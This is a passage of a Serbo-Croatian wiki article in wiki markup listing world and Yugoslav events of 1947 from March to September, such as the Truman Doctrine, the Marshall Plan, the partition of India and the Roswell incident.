[[V-2]]: snimljena je prva panorama iz svemira. * 7. 3. - Počinje [[Paragvajski građanski rat]] protiv koloradoske vlade gen. [[Higinio Morínigo|Moríniga]] - uspeva se održati, uz Perónovu pomoć, pobuna je ugušena do avgusta (dogodine je ipak prinuđen na odlazak u Argentinu). Istakao se [[Alfredo Stroessner]], kasniji dugogodišnji diktator. * [[8. 3.]] - Ukazom Predsedništva Prezidijuma Narodne skupštine FNRJ oduzeto državljanstvo i konfiskovana celokupna imovina kralja [[Petar II Karađorđević|Petra II Karađorđevića]] (poništeno 2015.). * [[9. 3.]] - Jugoslavija preko [[SAD]] traži pomoć u žitu. * [[10. 3.]] - Otopljenje nakon jake zime dovodi do velike poplave na [[Temza|Temzi]], velike padavine 16-og izazivaju i pucanje ustava u Istočnoj Angliji. * [[10. 3.]] - [[24. 4.]] - Četvrti sastanak Veća inostranih ministara četiri sile u Moskvi - američki državni sekretar [[George Marshall]] zaključio da Sovjeti odugovlače, odlučuje se za pomoć Evropi<ref>[https://web.archive.org/web/20041206001526/http://edition.cnn.com/SPECIALS/cold.war/episodes/03/script.html CNN - Cold War, Episode 3] on ''web.archive.org''</ref>. * [[12. 3.]] - [[Trumanova doktrina]]: američki predsjednik [[Harry S. Truman|Truman]] iznosi politiku pred Kongresom [[SAD]]: podržati slobodne narode koji su odupiru potčinjavanju od strane oružanih manjina ili spoljnih pritisaka. Konkretno, vojno-ekonomska pomoć vredna 400 miliona dolara Grčkoj i Turskoj protiv komunističkog nadiranja (odgovarajući zakon potpisan 22. 5., SAD tako preuzimaju finansijski teret sa Britanije). * [[13. 3.]] - U Crnoj Gori ubijen [[Zelenaši|zelenaški]] odmetnik [[Krsto Popović]]. * 13. 3. - [[19. dodjela Oscara]]: najbolji film je ''[[The Best Years of Our Lives]]'', ukupno sedam nagrada. * [[15. 3.]] - Međuverski sukobi u [[Pendžab (regija)|Pendžabu]], Britanska Indija. * mart - Odobrena prodaja još 15 britanskih mlaznih motora [[Rolls-Royce Nene]] Sovjetskom Savezu, uz odredbu da neće biti korišćeni u vojne svrhe - prerađeno u [[Klimov VK-1]], ugrađen u [[MiG-15]]. * mart - [[Herbert Hoover|Hooverov]] ekonomski izveštaj, nakon obilaska Evrope, naročito Nemačke, po nalogu predsednika Trumana: Nemačka se ne može svesti na "pastoralnu državu", kako zagovara [[Morgenthauov plan]]. * 17. 3. - Austrijanci napali slovenačku paradu u Eisenkappelu. (NYT) * [[18. 3.]] - Diplomatski odnosi Italije i FNRJ. * 18. 3. - [[Bremen (grad)|Bremen]]ska ledena katastrofa: ledohod je porušio sve mostove. * [[19. 3.]] - [[Kineski građanski rat]]: nacionalisti su uspeli zauzeti komunističko sedište [[Yan'an]], ali samo na nekoliko dana. * [[20. 3.]] - U Solunu ubijen bivši grčki ministar iz redova KP, Giannis Zevgos. * 20. 3. - SAD odbija Titovu molbu za žito, smatra da je drugima potrebnije. (NYT) * [[21. 3.]] - Nakon smrti braće Collyer u njujorškom Harlemu u njihovoj kući je otkriveno preko 100 tona raznih predmeta i otpada koje su nakupili tokom godina. * 21. 3. - Predsednik Truman potpisao Izvršno naređenje 9835: od federalnih službenika se očekuje zakletva na vernost, kako bi se iskorenio komunistički uticaj. * [[22. 3.]] - Poslednje izbeglice iz Pule stižu u Veneciju, grad je napustio i biskup [[Raffaele Mario Radossi|Radossi]]. (NYT) Rim izveštava da je grad napustilo 28.000 ljudi. * [[24. 3.]] - Lord Mountbatten postaje poslednji vicekralj Indije. U zemlji su neredi, odlučuje da se ne čeka 30. jun 1948, već da zemlja što pre dobije nezavisnost. * [[25. 3.]] - Eksplozija u rudniku uglja kod [[Centralia, Illinois]] - 111 mrtvih. * 25. 3. - U Bataviji/Džakarti potpisan sporazum iz Linggadjatija: priznaje se vlast Republike Indonezije na Javi i Sumatri, radiće se na stvaranju federativne Indonezije, u uniji sa Holandijom - različita tumačenja vode novim sukobima. * 25. 3. - [[UNRRA]]-in brod ''SS St. Lawrence Victory'' naleteo na minu kod Dubrovnika pa nasukan na Korčuli i odvučen u Split. * 27. 3. - SAD će poslati 50.000 tona krompira u FNRJ. (NYT) * [[28. 3.]] - Ekspoze ministra unutrašnjih poslova [[Aleksandar Ranković|Rankovića]] Narodnoj skupštini: zapadni saveznici prikrivaju ratne zločince. * 28. 3. - Poljski general [[Karol Świerczewski]] ubijen u zasedi [[Ukrajinska ustanička armija|ukrajinskih pobunjenika]]. * [[29. 3.]] - Malgaški ustanak na [[Madagaskar]]u protiv francuske vlasti - ugušeno do 1949, procene žrtava se kreću od 11.000 do 89.000. * 29. 3. - Savezna skupština usvaja novi budžet (povećan je vojni budžet, finansira se petogodišnji plan), četvorica opozicionara denuncirana zbog kritike raspodele. (NYT) * 29. 3. - Italija traži od Londona evakuaciju četničkih trupa. (NYT) * [[30. 3.]] - Sedmorica Makedonaca osuđena na smrt zbog navodne zavere za otcepljenje te republike. (NYT) * [[31. 3.]] - U iranskom Mahabadu obešeni lideri, prošle godine ugušene, kurdske [[Mahabadska republika|Mahabadske republike]]. * proleće - Sovjetska glad 1946-47., izazvana nerodnom prošlom godinom, dostiže vrhunac; procene broja žrtava se kreću od nekoliko stotina hiljada do dva miliona. === April/Travanj === [[Datoteka:Vliegtuig van Joegoslavische Regering, Bestanddeelnr 902-2031.jpg|mini|250px|Jugoslovenski aero transport]] * [[1. 4.]] - Dobrovoljnim omladinskim radom počela izgradnja [[Pruga Šamac-Sarajevo|pruge Šamac-Sarajevo]]. * 1. 4. - Osnovan Jugoslovenski aerotransport ([[JAT Airways|JAT]]). * 1. 4. - Umro grčki kralj [[Đorđe II (Grčka)|Đorđe II]], nasleđuje ga brat [[Pavle (Grčka)|Pavle]] (do [[1964]]). * [[4. 4.]] - Osnovana je Organizacija međunarodne civilne avijacije ([[ICAO]]). * [[5. 4.]] - Vicekralj Mountbatten razgovara sa muslimanskim liderom Ali Jinnom - ovaj ostaje uporan da treba stvoriti Pakistan. * 5. 4. - Američko prisustvo na severoistoku Kine, operacija Beleaguer: petorica američkih marinaca je poginulo kod Hsin Hoa kada su komunisti napali skladište oružja. * [[6. 4.]] - U Njujorku su dodeljene prve [[Tony Awards|nagrade Tony]] za pozorišna ostvarenja. * [[7. 4.]] - U Damasku osnovana Arapska partija [[Baas]] ("preporod", "uskrsnuće"), spajanjem dve ranije organizacije. Ogranci partije će narednih godina biti osnovani u Iraku, Jordanu, Jemenu i dr. * 7. 4. - Incident u Bousbiru, četvrti za prostituciju u Kazablanci: senegalski strelci su iz osvete za kolegu pucali u Marokance, stradalo ih je 100-180. * [[8. 4.]] - [[Friedrich Hayek]] i liberalni mislioci osnivaju [[Mont Pelerinsko društvo]]. * [[9. 4.]] - Glazier–Higgins–Woodward tornadi u Teksasu, Oklahomi i Kanzasu odnose 181 život. * [[10. 4.]] - Tangerski govor: sultan Mohamed V traži nezavisan i jedinstven Maroko (do 1956. postoje francuski i španski protektorat i međunarodna zona Tanger). * [[11. 4.]] - Prikazan [[Charlie Chaplin|Chaplinov]] film ''[[Monsieur Verdoux]]'' - u SAD je loše primljen, Chaplinov imidž je okrnjen parnicama i optužbama da je komunista. * [[13. 4.]] - Grad New York je predao zemlju uz East River za sedište UN. * [[15. 4.]] - [[Jackie Robinson]] zaigrao za ''[[Brooklyn Dodgers]]''-e: prvi crnac u modernom ''[[Major League Baseball]]''-u. [[Datoteka:Pruga Samac-Sarajevo.jpg|mini|200px|Gradi se [[Željeznička pruga Šamac–Sarajevo]]]] * april - [[Blagoje Nešković]], čelnik srpske vlade i partije, kritikuje pokrajinski komitet Vojvodine u vezi otkupa, na isti način na koji je i sam kritikovan 4. marta. * april - [[NR Albanija|Albanska]] delegacija na čelu s [[Nako Spiru]]om u Beogradu: traže veću pomoć i novi ekonomski sporazum, ali FNRJ prethodno traži koordinaciju ekonomskih planova - Albanci odbijaju. * april - U New Yorku osnovana fotografska kooperativa ''[[Magnum Photos]]''. * april - avgust - [[Zadarska grupa]]: nekoliko studenata sa beogradske akademije slika u Zadru. * [[16. 4.]] - [[Katastrofa u Teksas Sitiju]]: eksplozija 2.300 tona [[amonijev nitrat|amonijevog nitrata]] izaziva smrt 581 osobe. * [[17. 4.]] - Britanski parobrod ''Sir Harvey Adamson'' nestao pored južne Burme sa 269 osoba. * [[18. 4.]] - Obešen monsinjor [[Jozef Tiso]], lider ratne [[Republika Slovačka (1939–1945)|Slovačke]]. * 18. 4. - Britanci pokušavaju da detonacijom 6.700 tona eksploziva unište nemačko ostrvo [[Helgoland]]. * [[19. 4.]] - Molotov podržava jugoslovenski zahtev južne Koruške i 150 miliona dolara od Austrije, predstavnici ostale tri sile se protive; FNRJ takođe traži autonomiju za gradišćanske Hrvate (NYT 18, 20. 4.) * 19. 4. - Osuđeno 13 četnika. (NYT) U Sarajevu (?), među kojima [[Jezdimir Dangić]]. * [[20. 4.]] - Umro danski kralj [[Kristijan X (Danska)|Kristijan X]], nasleđuje ga sin [[Frederik IX (Danska)|Frederik IX]] (do [[1972]]). * [[21. 4.]] - [[Shannon]], usputna stanica transatlantskog avionskog saobraćaja, postaje prvi duty-free aerodrom. * 22. 4. - ''Fiume Train Blast Kills 23'' (NYT) * [[24. 4.]] - [[21. 5.]] - Prvo posleratno zasedanje Svetog arhijerejskog sinoda SPC. Odlučeno da se osnuje [[Eparhija šumadijska]]. * [[25. 4.]] - Počeo štrajk u Renaultovoj fabrici, dan nakon što je vlada smanjila porciju hleba sa 300 na 250g dnevno. Lideri štrajka su trockisti i anarhisti, talas štrajkova se širi zbog loših ekonomskih uslova. * 25. 4. - Izbori u Japanu: najviše glasova za socijaliste, čiji će lider [[Tetsu Katayama]] biti premijer manje od godinu dana. * [[28. 4.]] - Narodna skupština usvojila [[Prvi petogodišnji plan u Jugoslaviji|prvi Petogodišnji plan]] (Zakon o petogodišnjem planu razvitka narodne privrede FNRJ u godinama 1947 – 1951) sa određenim ciljevima proizvodnje (ubrzana industrijalizacija i centralna akumulacija). Jedini sa primedbama [[Dragoljub Jovanović]], lider predratnih Zemljoradnika. * [[28. 4.]] - [[Akcija "Visla"]]: usled aktivnosti [[Ukrajinska ustanička armija|Ukrajinske ustaničke armije]], poljske vlasti pribegavaju prinudnom preseljavanju ukrajinske manjine sa jugoistoka zemlje. * 28. 4. - [[Ekspedicija Kon-Tiki]]: [[Thor Heyerdahl]] sa ekipom kreće iz Perua - za 100 dana će preći 6.980&nbsp;km do atola [[Raroia]] u arhipelagu [[Tuamotu]]. * [[29. 4.]] - Premijerno prikazana ''[[Slavica (film)|Slavica]]'', prvi posleratni film [[jugoslavenska kinematografija|jugoslavenske kinematografije]]. === Maj/Svibanj === * [[1. 5.]] - Prvomajska parada sa 200.000 učesnika u Beogradu. (NYT) * 1. 5. - [[Masakr kod Portella della Ginestre]]: Banda [[Salvatore Giuliano]]-a (ili u nju infiltrirani [[mafija|mafiozi]]) ubila 11 učesnika prvomajske parade kod mesta Portella Della Ginestra na Siciliji. U Italiji dolazi do političke krize (sutradan tuča u parlamentu). * 1. 5. - [[Anastasio Somoza García]] odstupa posle 10 godina s čela [[Nikaragva|Nikaragve]] - naslednik Leonardo Argüello Barreto se pokazao neposlušnim pa je oboren već 26-og (Somoza nastavlja da drži zemlju neformalno i formalno do ubistva 1956). * maj, početkom - [[William Randolph Hearst]] i [[Marion Davies]] poslednji put napuštaju ''La Cuesta Encantadu'', tj. [[Hearstov zamak]], čija gradnja staje nakon 28 godina. * [[3. 5.]] - Stupio na snagu [[Ustav Japana]] - [[car Japana]] ima čisto ceremonijalnu ulogu, odbacuje se pravo na rat. * [[4. 5.]] - Bekstvo iz zatvora u Akri: [[Irgun]]ovi ljudi su upali u zatvor i oslobodili 27 svojih kolega i pripadnika [[Lehi]]ja (Britanci će u julu obesiti trojicu irgunista). * 4. 5. - Prikazan film ''[[Black Narcissus]]''. * [[5. 5.]] - Majske krize: francuski premijer Ramadier, pod američkim pritiskom, isključio komuniste iz vlade, formalno jer su glasali protiv njegove platne politike - vicepremijer [[Maurice Thorez]] i četvorica ministara. To je kraj posleratnog [[Tripartizam (Francuska)|tripartizma]] i početak [[Treća sila (Francuska)|Treće sile]]. * [[13. 5.]] - [[Kineski građanski rat]]: komunisti na čelu sa [[Lin Biao]]m započeli letnju ofanzivu na severoistoku zemlje - do početka jula zauzimaju 42 grada i povezuju baze na severu i jugu; nacionalisti izgubili 82.000 vojnika. * [[15. 5.]] - Osnovan Specijalni komitet UN o [[Mandatna Palestina|Palestini]] ([[UNSCOP]]) radi davanja preporuka o budućnosti teritorije (među 11 članova je i Vladimir Simić iz FNRJ). Arapski visoki komitet bojkotuje ovo telo, ali pojedinci razgovaraju. * [[17. 5.]] - [[Dragoljub Jovanović (političar)|Dragoljub Jovanović]] uhapšen pod optužbom za "špijunažu" (u oktobru osuđen na devet godina zatvora). * [[22. 5.]] - [[Hladni rat]] - [[Trumanova doktrina]]: dodeljeno 400 miliona dolara pomoći za borbu protiv komunizma u [[Kraljevina Grčka|Grčkoj]] i [[Turska|Turskoj]]. * [[23. 5.]] - Istraživačka komisija UN optužila Jugoslaviju, Albaniju i Bugarsku za mešanje u [[Grčki građanski rat]]. * [[25. 5.]] - Povodom 55. rođendana predsednika Tita nošeno je 12 štafeta, po njemu je nazvana ulica Kralja Milana u Beogradu. * [[26. 5.]] - Ukinuta smrtna kazna u Sovjetskom Savezu (vraćena 1950). * 29 - 30. 5. - Četiri avionske nesreće, tri u SAD, jedna na Islandu. Potonjeg datuma kod [[Port Deposit, Maryland]] pao je Douglas C-54 Skymaster sa 53 osobe, do tada najgora nesreća u SAD. * [[30. 5.]] - Otvoren [[Muzej Vojvodine|Vojvođanski muzej]] u [[Novi Sad|Novom Sadu]]. * [[31. 5.]] - Majske krize: komunisti su izbačeni iz vlade u Italiji, pod američkim pritiskom. * 31. 5. - Ferenc Nagy, mađarski premijer iz Sitnoposedničke partije, daje ostavku pod komunističkim pritiskom. Nasleđuje ga poslušniji [[Lajos Dinnyés]] iz iste partije (do 1948), a stvarnu vlast ima njegov zamenik [[Mátyás Rákosi]] (→ [[taktika salame]]). * maj - Glavna [[burma]]nska partija, Antifašistički savez narodne slobode, prihvatio nacrt ustava; njen lider [[Aung San]] tvrdi da je za uzor imao ustav Jugoslavije i SSSR. === Jun/Juni/Lipanj === * [[3. 6.]] - Vicekralj Mountbatten izneo predlog podele Indije. Premijer Attlee je u Londonu izneo plan prenosa vlasti u zemlji. [[Datoteka:GeorgeMarshallSecretaryofState.jpg|mini|200px|Državni sekretar SAD [[George Marshall]]]] * [[5. 6.]] - Američki državni sekretar [[George Marshall]] drži govor na Univerzitetu Harvard u kome izlaže Plan obnove Evrope ("[[Maršalov plan]]", deluje od aprila 1948). * 5. 6. - Lider Bugarskog zemljodelskog saveza [[Nikola Petkov]] uhapšen u Parlamentu, sa još 26 opozicionih poslanika (obešen [[23. 9.]], partija je zabranjena u avgustu). * [[7. 6.]] - [[Akcija 10. 4.]]: prva ustaška grupa, [[Božidar Kavran|Božidara Kavrana]], ulazi u FNRJ, postaće žrtve [[UDBA|Udbine]] [[Operacija Gvardijan|Operacije Gvardijan]]. Istog dana u Zagrebu je završeno suđenje na kome su sedmorica osuđeni na smrt, među kojima [[Slavko Kvaternik]] i [[Siegfried Kasche]]. * 7. 6. - Rumunski premijer Groza u poseti Jugoslaviji. * ca. 7. 6. - Britanci premeštaju 12.000 četnika iz Italije u Nemačku, javlja New York Times. * [[9. 6.]] - U Parizu je osnovan ''[[Musée National d'Art Moderne]]'', u Palati Tokio, a od 1977. u Centru Pompidou. * [[11. 6.]] - [[Kineski građanski rat]]: komunisti započinju devetomesečnu kampanju za zauzeće Sipinga u severoistočnoj provinciji Ćilin. * 11. 6. - Muslimanski nizam pretežno hinduističke [[Država Hajderabad|Države Hajderabad]], najveće od [[Kneževska država|kneževskih država]] u Indiji, izjavljuje da neće učestvovati u Konstituanti ni Indije ni Pakistana - Indija zauzima sledeće godine. * [[13. 6.]] - Putnički [[DC-4]] udario u planinu u Zapadnoj Virdžiniji - 50 mrtvih. * ca. 13. 6. - FNRJ optužuje Grčku za avionski napad na karaulu, poginuo komandir. (NYT) * [[16. 6.]] - Francuske vlasti u Saaru uvode saarsku marku - već u novembru je zamenjuje franak. * jun - Demobilizacija poljskih jedinica u britanskim oružanim snagama - 114.000 ih ostaje u Britaniji. * [[18. 6.]] - Epilog [[Iranska kriza 1946.|Iranske krize]]: [[Mustafa Barzani]] je sa jedinicom pešmergi prešao u SSSR. Prethodnih dana su naneli gubitke iranskoj vojsci, na putu iz Iraka, gde su se sklonili proletos (Barzani se vraća u Irak 1958). * ca. 19. 6. - Jugoslovenski komunisti pretukli tršćanskog biskupa [[Antonio Santin|Santina]]. (NYT) * [[22. 6.]] - Proradio je [[Beogradski trolejbus]]. * [[23. 6.]] - Prevazilaženjem predsedničkog veta u SAD donet Taft–Hartleyev zakon, kojim se nadgledaju sindikalne aktivnosti. [[Datoteka:K-Arnold(reconstitution).png|mini|200px|left|Kenneth Arnold opaža NLO]] * [[24. 6.]] - Kenneth Arnold opazio [[NLO]]-a u državi Vašington, SAD - o tome se prvi put široko izveštavalo i prvi put upotrebljen izraz "[[leteći tanjir]]". * [[25. 6.]] - U Srbiji osnovan Republički zavod za zaštitu spomenika kulture. [[Datoteka:Original Book Copy.jpg|mini|200px|[[Dnevnik Anne Frank]]|]] * 25. 6. - U Holandiji objavljen [[Dnevnik Anne Frank]] - do 2019. preveden na preko 70 jezika. * [[26. 6.]] - [[Kraljevina Grčka|Grčka]] se obratila Savetu Bezbednosti UN zbog kršenja mira od strane Jugoslavije, Bugarske i Albanije (izveštaj Anketne komisije UN nepovoljan za Jugoslaviju). * [[28. 6.]] - Austrija optužuje Jugoslovene za ubistvo dvojice policajaca kod Schlossberga u Štajerskoj. * [[29. 6.]] - Truman je prvi predsednik koji se obraća Nacionalnoj asocijaciji za unapređenje obojenih ljudi - u govoru prenošenom preko radija ističe potrebu za okončanjem diskriminacije. * [[30. 6.]] - [[UNRRA]] okončava aktivnost. === Jul/Juli/Srpanj === * [[2. 7.]] - Konferencija evropske Velike trojke se razišla jer SSSR odbija Maršalov plan, a V. Britanija i Francuska izjavljuju da će ga razmotriti bez obzira na SSSR. * [[3. 7.]] - [[Indonežanska nacionalna revolucija]]: levičar [[Amir Sjarifuddin Harahap]] postaje premijer (pola godine kasnije mora dati ostavku, zatim je upleten u pobunu i pogubljen). * 4 - 6. 7. - Hollisterski neredi: okupljanje velikog broja motociklista u [[Hollister, California]] je praćeno izgredima i senzacionalizovano u štampi - inspiracija za imidž odmetničkih [[bajker]]a. * [[7. 7.]] - Izveštaj Johna Cabota, otpravnika poslova u beogradskoj ambasadi - nesporazumi Jugoslavije sa Sovjetima neminovni (prolazi nezapaženo). * 7. 7. - Čehoslovačka vlada izjavljuje da je zainteresovana za Maršalov plan - ali menjaju mišljenje nakon sastanka sa Staljinom dva dana kasnije. * [[8. 7.]] - Počeo proces protiv sedmorice "špijuna-obaveštajaca" u Beogradu - američka Služba za registrovanje grobova kontaktirala sa ostacima četnika radi sakupljanja informacija, za šta im je dala malu količinu oružja (vojnik Walter Florek), službenik ambasade SAD Borivoje Pantelić osuđen na smrt<ref>Jakovina, p. 197</ref>. * 8. 7. - U Nirnbergu počinje [[Talačko suđenje]], ili "Jugoistočni slučaj", jer se sudi nemačkim generalima za uzimanja talaca i streljanja na Balkanu (traje do februara 1948). [[Datoteka:Marcel-roswell-debris 0.jpg|mini|200px|Major Marcel pokazuje ostatke balona]] * 8. 7. - [[Roswellski incident]]: objavljeno da je kod [[Roswell, New Mexico|Roswella]] (odn. [[Corona, New Mexico|Corone, New Mexico]]) pronađen "leteći disk" a sutradan su ostaci opisani kao delovi meteo balona - teorije zavere kreću krajem '70-tih (verovatno se radilo o balonu iz [[Projekt Mogul|Projekta Mogul]]). * [[12. 7.]] - Komitet evropske ekonomske saradnje: pariska konferencija 16 evropskih zemalja razmatra do septembra prioritete za obnovu i pomoć u administraciji Maršalovog plana, istočne zemlje (među kojima i FNRJ) odbijaju, ili od Sovjeta prinuđene da odbiju. * 13 - 14. 7. - II kongres zemaljskog [[AFŽ]] u Sarajevu, donijeta Rezolucija o pokretu muslimanki za skidanje zara, koju sljedećeg mjeseca podržava i ulema. * [[14. 7.]] - Tămădăuska afera, ili nameštaljka: rumunska komunistička sigurnosna služba uhapsila nekoliko političara iz Nacionalne zemljoradničke stranke, koji su mislili da će odleteti iz zemlje - partija je zabranjena do kraja meseca, lideri su zatvoreni. * [[15. 7.]] - U [[Zagreb]]u, Čehoslovačka pobedila Jugoslaviju u zonskom finalu [[Davis Cup]]a 4:0; poslednji meč nije odigran jer su gledaoci napravili nerede, uvređeni češkom zamenom povređenog tenisera. * 15. 7. - Britanska funta je konvertibilna za dolar, što je traženo iz SAD kao uslov za zajam iz 1946 - suspendovano 20. avgusta zbog odliva rezervi. Inače, ove godine su srebrni britanski novčići zamenjeni [[kupronikl]]enim * jul - U Bosni uhvaćen i ubijen četnički komandant [[Cvijetin Todić]]. * jul - [[Enver Hoxha]] u Moskvi, gde potpisuje trgovački sporazum sa SSSR - znak da Staljin ne odobrava Titovu politiku prema Albaniji. * [[17. 7.]] - Brod ''Ramdas'' potonuo blizu Bombaja, stradalo je blizu 700 putnika. * [[18. 7.]] - Brod ''[[SS Exodus]]'' sa 4.500 Jevreja stigao iz Francuske nadomak Palestine, gde su ga Britanci presreli i preuzeli nakon sukoba - pokušaće da ih vrate u Francusku. * 18. 7. - U Britaniji je donesen Zakon o indijskoj nezavisnosti: stvaraju se dominioni Indija i Pakistan; Bengal i Pendžab će biti podeljeni između njih; Kneževske države se mogu izjasniti o pripadnosti. * 18. 7. - SAD preuzimaju [[Starateljsko područje Pacifičkih Otoka]] (do 1986-94), raniji [[Južnotihooceanski mandat]]. [[Datoteka:Aung San color portrait.jpg|mini|150px|† [[Aung San]]]] * [[19. 7.]] - Ubijen [[Aung San]], premijer Britanske Burme, kao i sedam od 10 preostalih članova kabineta, kada su naoružani ljudi upali na njihov sastanak. Bivši premijer [[U Saw]] je obešen zbog ovoga. * [[20. 7.]] - Objavljeni rezultati referenduma u Severozapadnoj graničnoj provinciji: 99% za priključenje Pakistanu, iz odziva od 51%. Bojkotaši referenduma će biti progonjeni, pitanje [[Paštunistan]]a kvari odnose sa [[Kraljevina Afganistan|Afganistanom]] sledećih godina. [[Datoteka:British sergeants kidnapped and hanged by the Irgun, 1947.jpg|mini|left|Narednici obešeni u Palestini]] * [[21. 7.]] - Operacija Product, prva od dve holandske "policijske akcije" u Indoneziji: povratili su veliki deo Jave i Sumatre, ali Indonežani nastavljaju sa gerilskom borbom, a međunarodna zajednica se protivi holandskoj politici. * [[26. 7.]] - Sa [[Trg bana Jelačića|Trga bana Jelačića]], budući Trg Republike, uklonjen spomenik banu (vraćen [[1990]]). * 26. 7. - Predsednik SAD Hari Truman potpisao Zakon o nacionalnoj sigurnosti: departmani vojske i mornarice konsolidovani u Departman odbrane, stvoreni [[CIA]], Veće nacionalne sigurnosti i Združeni načelnici štabova (stupa na snagu 18. 9.). * [[27. 7.]] - U [[Francova diktatura|Španjolskoj]], pošto je ranije tijekom mjeseca potvrđen referendumom, stupio je na snagu Zakon o nasljeđu i vođstvu države - zemlja je ponovno monarhija, ali [[Francisco Franco]] je doživotni šef države. * [[31. 7.]] - Narednička afera: dva dana posle vešanja trojice irgunista, tela dvojice ranije kidnapovanih britanskih narednika su pronađena obešena kod [[Netanya|Netanye]]. Jedan oficir je ranjen od mine prilikom skidanja jednog tela a sledeće večeri grupa britanskih policajaca i vojnika pravi nerede u Tel Avivu, sa pet mrtvih. Neredi sutradan izbijaju i u Britaniji. * [[jul]] - [[George F. Kennan|Kennanov]] članak "Izvori sovjetskog ponašanja" u časopisu ''[[Foreign Affairs]]'', poznatiji kao "X-ov članak", smatra se "auto-kartom" [[Hladni rat|Hladnog rata]] (→ [[Dugi telegram]], ''[[Containment]]''). === Avgust/August/Kolovoz === [[Datoteka:1946 Political Subdivisions of India by National Geographic.jpg|mini|300px|[[Britanska Indija]]]] * [[1. 8.]] - [[Bledski sporazumi Tito — Dimitrov]] - priprema carinske unije, zamišljena [[Balkanska federacija]], oproštene bugarske reparacije od 25 miliona dolara. * [[2. 8.]] - Jevrejske izbeglice sa ''SS Exodusa'' stigle na tri broda do Francuske, ali odbijaju da se iskrcaju, štrajkuju glađu - Britanci ih zatim 22-og voze prema Hamburgu. * [[6. 8.]] - Najtopliji dan leta u Beogradu: 38,2 stepeni. U Francuskoj je period 22. jul - 4. avgust najtopliji između rata i 2003. * [[7. 8.]] - Na arhipelagu [[Tuamotu]] završeno 101-dnevno putovanje [[Thor Heyerdahl]]-ovog splava [[Kon-Tiki]] istočnim Pacifikom. * [[8. 8.]] - Počelo prokopavanje [[Kanal Dunav-Tisa-Dunav|kanala Dunav-Tisa-Dunav]]<!-- RTS Vremeplov -->. * [[11. 8.]] - U Džamu i Kašmiru smenjen premijer Ram Chandra Kak koji je za nezavisnost i saradnju sa Pakistanom. [[Hari Singh]], hinduistički maharadža pretežno muslimanskog Džamu i Kašmira za sada želi da ostane samostalan, ali ovih dana počinje pobuna muslimana u zapadnom okrugu Poonch. * [[12. 8.]] - Završen "[[Nagodetov proces]]", suđenje grupi slovenačkih intelektualaca - trojica osuđena na smrt ([[Črtomir Nagode]], [[Boris Furlan]] i [[Ljubo Sirc]] [zadnjoj dvojici promenjeno u zatvor]). * 12. 8. - Trgovački ugovor FNRJ sa američkom i britanskom zonom u Nemačkoj, vredan 100 miliona dolara. (NYT) [[Datoteka:Partition of India 1947 en.svg|mini|220px|[[Podela Indije]]]] * [[14. 8.]] - {{flagcountry|PAK}} Osnovana je Federacija Pakistan odn. [[Dominion Pakistan]] - od 1956. Islamska Republika. Zemlji se do sledećeg marta priključuje i 14 (ili 16) kneževskih država, trenutno samostalnih. Do 1971. Pakistan obuhvata i Istočni Bengal, današnji Bangladeš. [[Muhamed Ali Džina]] je prvi generalni guverner (do smrti dogodine) a premijer [[Liaquat Ali Khan]] (do smrti 1951). * 14. 8. - U Nemačkoj završeno Buchenwaldsko suđenje: 22 smrtne kazne, pet doživotnih i četiri vremenske kazne. * [[15. 8.]] - {{flagcountry|IND}} Indija je nezavisna od britanske vlasti - krvava [[Podela Indije]] je već u toku. Indiji pristupa oko 550 kneževskih država. Džunagad će zauzeti ove godine, Hajderabad iduće a Kašmir će završiti de fakto podeljen. * 15. 8. - "Velika stabilizacija" u Rumuniji: 20.000 [[Rumunski lej|leja]] se bez najave zamenjuje za jedan novi, u ograničenim količinama, što je udarac za srednju i višu klasu. * 15. 8. - U Engleskoj je pokrenut eksperimentalni nuklearni reaktor GLEEP, prvi u zapadnoj Evropi. * avgust - Osnovano je [[Beogradsko dramsko pozorište]], prva predstava sledećeg februara. Ove godine je osnovano i [[Jugoslovensko dramsko pozorište]], prva predstava u aprilu 1948. * [[18. 8.]] - Eksplozija u vojnom skladištu u Cádizu, stradalo je 147 ljudi. * [[20. 8.]] - Završeno Doktorsko suđenje u Nirnbergu: sedam smrtnih presuda. * [[22. 8.]] - Delegacija američkih protestantskih sveštenika tvrdi da u Jugoslaviji vlada sloboda religije. * [[24. 8.]] - Rulja u istarskom [[Lanišće|Lanišću]] ubila sveštenika [[Miroslav Bulešić|Mira Bulešića]] i teško povredila monsinjora Jakoba Ukmara (Bulešić proglašen blaženikom 2013.). * 26. 8. - [[Ibrahim Fejić]] je izabran za prvog poslijeratnog reisu-l-ulemu, nakon što je donijet novi ustav [[Islamska zajednica u Bosni i Hercegovini|Islamske zajednice]] (ustoličen 12. 9., ostaje do 1957). * [[27. 8.]] - Sledovanje hleba u Francuskoj smanjeno na 200 grama, neredi u nekim gradovima. * [[28. 8.]] - Toreador [[Manolete]] je fatalno proboden od bika [[Islero|Islera]] u Linaresu, umire sledećeg jutra. * [[31. 8.]] - Proizveden prvi domaći [[penicilin]] u zemunskoj "[[Galenika|Galenici]]". * 31. 8. - Izbori u Mađarskoj, komunisti prvi, ali sa samo 22,3 % glasova - poslednji kompetitivni, mada ne i slobodni, izbori do 1990. * 31. 8. - Komitet o Palestini UNSCOP podneo izveštaj: sedam od 10 članova preporučuje osnivanje jevrejske i arapske države i međunarodni Jerusalim; tri, među kojima i Jugosloven, su za jednu federativnu državu. * Velika suša u Centralnoj Evropi. === Septembar/Rujan === * [[1. 9.]] - Osnovan [[Litostroj]] u Ljubljani. * [[2. 9.]] - Potpisan Pakt iz Rija, tj. Međuamerički ugovor o uzajamnoj pomoći, s principom hemisferske odbrane (na snazi od 1948). * [[4. 9.]] - Obnovljena [[Francuska Gornja Volta]] (nezavisna 1960, od 1984. [[Burkina Faso]]). * [[6. 9.]] - Operacija Sandy: Amerikanci su ispalili raketu V-2 sa nosača aviona. * [[7. 9.]] - Jevreji sa tri broda su na silu iskrcani u Hamburgu, u britanskoj zoni. [[Datoteka:Free Territory of Trieste Map-hr.svg|mini|[[Slobodni Teritorij Trsta]]]] * [[15. 9.]] - Stupa na snagu mirovni ugovor sa Italijom, zaživeo je [[Slobodni Teritorij Trsta]], u gradu su nemiri. Savezničke snage napuštaju Pulu, JA ulazi sutradan. * 15. 9. - Počinje Suđenje Einsatzgruppama u Nirnbergu (do aprila). * septembar - Jugoslavija odbila Maršalov plan. * septembar - Drugi kongres [[Narodni front Jugoslavije|Narodnog fronta Jugoslavije]], Tito: postojanje predratnih buržujskih stranaka neopravdano. * [[16. 9.]] - Pakistan prihvata pristupnicu države Junagadh u današnjem Gujaratu, uprkos hinduističkoj većini. * [[18. 9.]] - Zakon o nacionalnoj sigurnosti SAD: departmani vojske, mornarice i vazduhoplovstva su spojeni u Departman odbrane, prvi 